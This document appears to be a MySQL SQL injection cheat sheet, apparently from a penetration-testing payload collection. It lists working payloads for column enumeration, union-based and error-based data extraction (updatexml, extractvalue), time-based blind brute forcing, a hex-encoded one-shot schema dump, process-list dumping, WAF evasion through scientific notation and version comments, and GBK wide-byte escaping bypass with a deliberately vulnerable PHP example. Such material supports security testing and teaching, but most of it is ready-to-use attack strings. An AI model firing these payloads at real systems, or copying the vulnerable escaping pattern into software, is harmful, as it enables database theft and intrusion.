> MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.
Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
```sql
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.
```
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
```
### MySQL Blind SQL Injection binary query using REGEXP.
Payload:
```
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
```
Would work in the query (where the "where" clause is the injection point):
```
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
```
In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.
['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing
```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
This table can list all operations that DB is performing at the moment.
```sql
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent.
In the same way, the common payload to bypass authentication `' or ''='` is equivalent to `' or 1.e('')='` and `1' or 1.e(1) or '1'='1`.
This technique can be used to obfuscate queries to bypass WAF, for example: `1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2`
*`/*! ... */`: This is a conditional MySQL comment. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the `/*!`. If the MySQL version is less than the specified number, the code inside the comment will be ignored.
*`/*!12345UNION*/`: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher.
*`/*!31337SELECT*/`: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher.
Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.
The `SET NAMES gbk` query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.
Several characters can be used to triger the injection.
*`%bf%27`: This is a URL-encoded representation of the byte sequence `0xbf27`. In the GBK character set, `0xbf27` decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.
*`%bf%5c`: Represents the byte sequence `0xbf5c`. In GBK, this decodes to a valid multi-byte character followed by a backslash (`\`). This can be used to escape the next character in the sequence.
*`%a1%27`: Represents the byte sequence `0xa127`. In GBK, this decodes to a valid multi-byte character followed by a single quote (`'`).
A lot of payloads can be created such as:
```
%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --
```
Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.
```php
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
```
Here's a breakdown of how the wide byte injection works:
For instance, if the input is `?id=1'`, PHP will add a backslash, resulting in the SQL query: `SELECT * FROM users WHERE id='1\'' LIMIT 0,1`.
However, when the sequence `%df` is introduced before the single quote, as in `?id=1%df'`, PHP still adds the backslash. This results in the SQL query: `SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1`.
In the GBK character set, the sequence `%df%5c` translates to the character `連`. So, the SQL query becomes: `SELECT * FROM users WHERE id='1連'' LIMIT 0,1`. Here, the wide byte character `連` effectively "eating" the added escape charactr, allowing for SQL injection.
Therefore, by using the payload `?id=1%df' and 1=1 --+`, after PHP adds the backslash, the SQL query transforms into: `SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1`. This altered query can be successfully injected, bypassing the intended SQL logic.
- [[SQLi] Extracting data without knowing columns names - Ahmed Sultan - February 9, 2019](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
- [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection - Marc Olivier Bergeron - October 19, 2021](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
- [Alternative for Information_Schema.Tables in MySQL - Osanda Malith Jayathissa - February 3, 2017](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
- [How to Use SQL Calls to Secure Your Web Site - IPA ISEC - March 2010](https://www.ipa.go.jp/security/vuln/ps6vr70000011hc4-att/000017321.pdf)
- [MySQL Out of Band Hacking - Osanda Malith Jayathissa - February 23, 2018](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)